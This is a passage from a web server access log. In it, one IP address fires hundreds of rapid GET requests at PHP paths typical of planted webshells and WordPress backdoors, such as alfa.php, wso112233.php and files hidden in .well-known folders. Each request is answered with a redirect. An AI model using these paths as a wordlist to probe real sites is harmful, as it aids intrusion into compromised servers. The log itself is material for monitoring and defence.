HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:34 -0400] "GET /wp-includes/customize/index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:34 -0400] "GET /S.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:34 -0400] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:35 -0400] "GET /wp-includes/goods.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:35 -0400] "GET /OLD-UP-ova.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:35 -0400] "GET /editor.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:36 -0400] "GET /retu.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:36 -0400] "GET /wp-includes/blocks/table/index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:37 -0400] "GET /.well-known/pki-validation/65d9b536-ce5f-497e-8c82-8ee66c78d293.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:37 -0400] "GET /about/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:37 -0400] "GET /wordpress/wp-content/plugins/HHX6zQm6DLw3Ae6bxM4VOR/src/ui/index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:37 -0400] "GET /wordpress/wp-includes/css/dist/list-reusable-blocks/ovatthttr.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:38 -0400] "GET /wp-includes/theme-compat/about.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:38 -0400] "GET /lock.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:39 -0400] "GET /cgi-bin/moon.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:39 -0400] "GET /wp-admin/maint/go.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:39 -0400] "GET /ckgdg.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:40 -0400] "GET /wp-admin/maint/buy.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:40 -0400] "GET /wp-content/themes/seotheme/admin.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:40 -0400] "GET /wp-includes/rest-api/search/about.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:41 -0400] "GET /.wp-db.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:41 -0400] "GET /wp-admin/includes/about.php7 HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:41 -0400] "GET /wp-includes/ID3/custom-file-4-1735114949.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:41 -0400] "GET /storage/filemanager.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:42 -0400] "GET /wp-content/uploads/SakMaDic.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:42 -0400] "GET /.tmb/file.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:42 -0400] "GET /blog.php7 HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:43 -0400] "GET /wp-includes/Text/Diff/Engine/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:43 -0400] "GET /wp-admin/includes/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:43 -0400] "GET /wp-admin/js/chosen.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:44 -0400] "GET /wp-admin/js/widgets/moon.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:44 -0400] "GET /wp-admin/images/license.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:44 -0400] "GET /wp-content/upgrade/plugins.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:44 -0400] "GET /home/function.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:45 -0400] "GET /urcudivu.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:45 -0400] "GET /wp-content/plugins/erinyani/gebase.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:45 -0400] "GET /wp-content/themes/sky-pro/js.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:46 -0400] "GET /wp-content/themes/twentytwentytwo/inc/patterns/index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:46 -0400] "GET /wp-includes/click.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:46 -0400] "GET /wp-includes/css/cong.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:47 -0400] "GET /wp-includes/blocks/button/index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:47 -0400] "GET /wp-includes/IXR/plugins.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:47 -0400] "GET /dhemowfu.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:48 -0400] "GET /uploads/683584ibal.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:48 -0400] "GET /wp-content/plugins/view-more/ioxi.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:48 -0400] "GET /.well-known/pki-validation/xp.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:49 -0400] "GET /wp-admin/51axqg6EDPQ.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:49 -0400] "GET /wp-admin/images/a2.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:49 -0400] "GET /wp-content/plugins/dywdsmx/ovailqjzg.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:50 -0400] "GET /wp-includes/images/install.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:51 -0400] "GET /wp_wol.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:51 -0400] "GET /.well-known/pki-validation/parx.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:52 -0400] "GET /cgi-bin/file.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:52 -0400] "GET /inc.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:52 -0400] "GET /wp-admin/network/file.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:53 -0400] "GET /wp-content/sxo.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:53 -0400] "GET /wp-includes/images/crystal/index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:53 -0400] "GET /elp.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:54 -0400] "GET /cgi-bin/index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:54 -0400] "GET /wp-admin/function.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:55 -0400] "GET /wp-content/wp-apxupx.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:55 -0400] "GET /wp-includes/Requests/about.php7 HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:55 -0400] "GET /wp-content/uploads/id.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:56 -0400] "GET /.well-known/pki-validation/sxo.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:56 -0400] "GET /templates/atomic/templates.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:56 -0400] "GET /vendor/guzzlehttp/alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:56 -0400] "GET /wp-admin/images/wp-ksv1i.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:57 -0400] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:57 -0400] "GET /wp-includes/css/page.template.1735117956.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:58 -0400] "GET /sck.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:58 -0400] "GET /css/kraoqapd.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:58 -0400] "GET /sbijnocj.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:59 -0400] "GET /wp-content/plugins/wp-help/index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:59 -0400] "GET /wp-content/themes/digital-download/new.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:00 -0400] "GET /wp-content/uploads/wpr-addons/forms/about.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:00 -0400] "GET /wp-includes/sodium_compat/index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:00 -0400] "GET /.qiodetme.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:01 -0400] "GET /wp-admin/js/a2.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:01 -0400] "GET /wp-content/themes/bltm/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:01 -0400] "GET /.well-known/as.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:02 -0400] "GET /wp-content/plugins/WordPressCore/index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:02 -0400] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:03 -0400] "GET /wp-admin/css/daren.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:03 -0400] "GET /wp-admin/images/moon.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:03 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/Ge/index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:04 -0400] "GET /wp-admin/includes/zipp.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:04 -0400] "GET /wp-content/uploads/showupload.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:05 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:05 -0400] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:06 -0400] "GET /wp-content/themes/include.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:06 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/ovakvbycd.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:07 -0400] "GET /wp-admin/includes/class_api.php999 HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:07 -0400] "GET /wp-admin/admin-ajax.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:07 -0400] "GET /xx.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:08 -0400] "GET /1rbxb768.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:09 -0400] "GET /he.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:09 -0400] "GET /wp-content/mu-plugins/index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:09 -0400] "GET /wp-content/uploads/2024/index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:10 -0400] "GET /wp-includes/sodium_compat/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:10 -0400] "GET /w.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:10 -0400] "GET /tiny.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:10 -0400] "GET /wp-admin/js/widgets/jLFgZjjsqs.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:11 -0400] "GET /wp-content/themes/file.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:11 -0400] "GET /wp-content/themes/seotheme/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:11 -0400] "GET /wp-includes/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:12 -0400] "GET /wp-content/plugins/erinyani/asasx.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:12 -0400] "GET /wp-includes/carson.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:12 -0400] "GET /wp-includes/yes.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:13 -0400] "GET /.well-known/radio.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:13 -0400] "GET /wp-content/termps.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:13 -0400] "GET /wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:13 -0400] "GET /epdwm.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:14 -0400] "GET /wp-content/plugins/woocommerce/assets/about.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:14 -0400] "GET /wp-includes/js/codemirror/index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:14 -0400] "GET /wp-includes/Text/Diff/Renderer/eqw5de.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:15 -0400] "GET /wp-includes/css/kses.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:15 -0400] "GET /.well-known/acme-challenge/tiny.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:15 -0400] "GET /assets/images/206d2bdfbd.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:16 -0400] "GET /cvawk.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:16 -0400] "GET /df.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:16 -0400] "GET /wp-admin/js/widgets/text-widgets.min.js.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:17 -0400] "GET /wp-includes/1671b870622bf3admin.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:17 -0400] "GET /wp-includes/theme-compat/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:17 -0400] "GET /buy.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:18 -0400] "GET /wp-content/mah.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:18 -0400] "GET /wp-admin/js/widgets/file.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:19 -0400] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:19 -0400] "GET /wp-includes/Text/Diff/about.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:19 -0400] "GET /wp-apxupx.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:19 -0400] "GET /wp-content/uploads/BbUMY/flower.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:20 -0400] "GET /wp-includes/Requests/library/about.php7 HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:20 -0400] "GET /.well-known/siuqzorv.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:20 -0400] "GET /wp-admin/css/colors/coffee/css.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:21 -0400] "GET /wp-content/languages/ru_RU_lite.mo.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:21 -0400] "GET /.well-known/pki-validation/ahzjhofz.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:21 -0400] "GET /wp-admin/js/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:21 -0400] "GET /wp-includes/rest-api/fields/index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:22 -0400] "GET /wp-admin/js/widgets/sxo.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:22 -0400] "GET /wp-content/uploads/wp.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:22 -0400] "GET /wp-admin/includes/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:23 -0400] "GET /bb.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:23 -0400] "GET /components/attari.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:23 -0400] "GET /wp-admin/defaults.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:23 -0400] "GET /wp-includes/certificates/plugins.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:24 -0400] "GET /special.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:24 -0400] "GET /wp-admin/includes/legendneverdie.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:24 -0400] "GET /wp-content/packed.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:25 -0400] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:25 -0400] "GET /wp-includes/css/dist/widgets/about.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:25 -0400] "GET /cong.php935 HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:25 -0400] "GET /webdb.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:26 -0400] "GET /wp-content/plugins/portfolio-post-type/index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:26 -0400] "GET /wp-includes/Text/index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:26 -0400] "GET /wp-includes/images/smilies/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:27 -0400] "GET /wp-content/languages/file.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:27 -0400] "GET /wp-includes/Requests/Text/index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:28 -0400] "GET /wp-includes/images/wthvideo.min.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:28 -0400] "GET /heh.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:28 -0400] "GET /htaccess.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:29 -0400] "GET /wp-includes/block-patterns/index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:29 -0400] "GET /csxcvtg6v?key=51851b87a35f6a6288e1eef649afb2dccss.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:29 -0400] "GET /wp-admin/css/colors/sunrise/HmfdSRigQv.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:30 -0400] "GET /.tmb/plugins.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:30 -0400] "GET /css/plugins.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:30 -0400] "GET /bovaxayy.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:30 -0400] "GET /wp-admin/css/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:31 -0400] "GET /wp-includes/ovackgowa.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:31 -0400] "GET /hehehehe.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:31 -0400] "GET /shirtkobain/mail.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:32 -0400] "GET /wp-includes/class-json-ajax-session.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:32 -0400] "GET /wp-includes/wp-class-entry-shield.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:32 -0400] "GET /.well-known/tiny.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:33 -0400] "GET /wp-admin/css/upgrade.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:33 -0400] "GET /.well-known/zaza.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:33 -0400] "GET /wp-content/json.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:34 -0400] "GET /bar.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:34 -0400] "GET /head.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:34 -0400] "GET /wp-content/plugins/wxzanln/ovarxggtq.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:34 -0400] "GET /.well-known/acme-challenge/index_php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:35 -0400] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:35 -0400] "GET /wp-includes/fonts/plugins.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:35 -0400] "GET /ulc6.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:35 -0400] "GET /wp-content/plugins/hello.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:36 -0400] "GET /asasx.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:36 -0400] "GET /wp-content/upgrade/8eNAbZK4gI.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:36 -0400] "GET /.well-known/pki-validation/class_api.php999 HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:36 -0400] "GET /autoloadclassmap.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:36 -0400] "GET /tjspfvjh.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:37 -0400] "GET /wp-admin/includes/class-wp-filesystem-base.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:37 -0400] "GET /wp-content/plugins/erinyani/baxa1.php7 HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:37 -0400] "GET /wp-content/themes/cay-van-phong/skibidi.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:38 -0400] "GET /.well-known/crlunpft.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:38 -0400] "GET /wp-conf.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:38 -0400] "GET /wp-includes/images/smilies/index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:39 -0400] "GET /wp-content/languages/sxo.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:39 -0400] "GET /wp-content/uploads/6CCPahUZVr.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:39 -0400] "GET /.well-known/pki-validation/akrcovxu.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:39 -0400] "GET /.well-known/xoxo.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:40 -0400] "GET /admin/sxo.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:40 -0400] "GET /wp-admin/images/media-button-other.gif.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:40 -0400] "GET /wp-includes/random_compat/niko.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:41 -0400] "GET /wp-content/plugins/pwnd/1.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:41 -0400] "GET /assets/js/about.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:41 -0400] "GET /bakvxppf.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:41 -0400] "GET /wp-admin/maint/k.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:42 -0400] "GET /wp-content/languages/themes/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:42 -0400] "GET /duck.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:42 -0400] "GET /go.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:43 -0400] "GET /wp-admin/maint/item.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:43 -0400] "GET /.well-known/acme-challenge/wso112233.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:43 -0400] "GET /wander.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:44 -0400] "GET /wp-content/plugins/xolanpf/ovamsmcsg.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:44 -0400] "GET /wp-content/themes/Divi-2/core/ovaawqfhg.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:44 -0400] "GET /wp-includes/media-blogs.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:45 -0400] "GET /wp-content/upgrade/newch.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:45 -0400] "GET /wp-includes/Text/Diff/Renderer/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:45 -0400] "GET /.well-known/acme-challenge/radio.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:46 -0400] "GET /wp-admin/images/plugins.php HTTP/1.1" 301 795 "-" 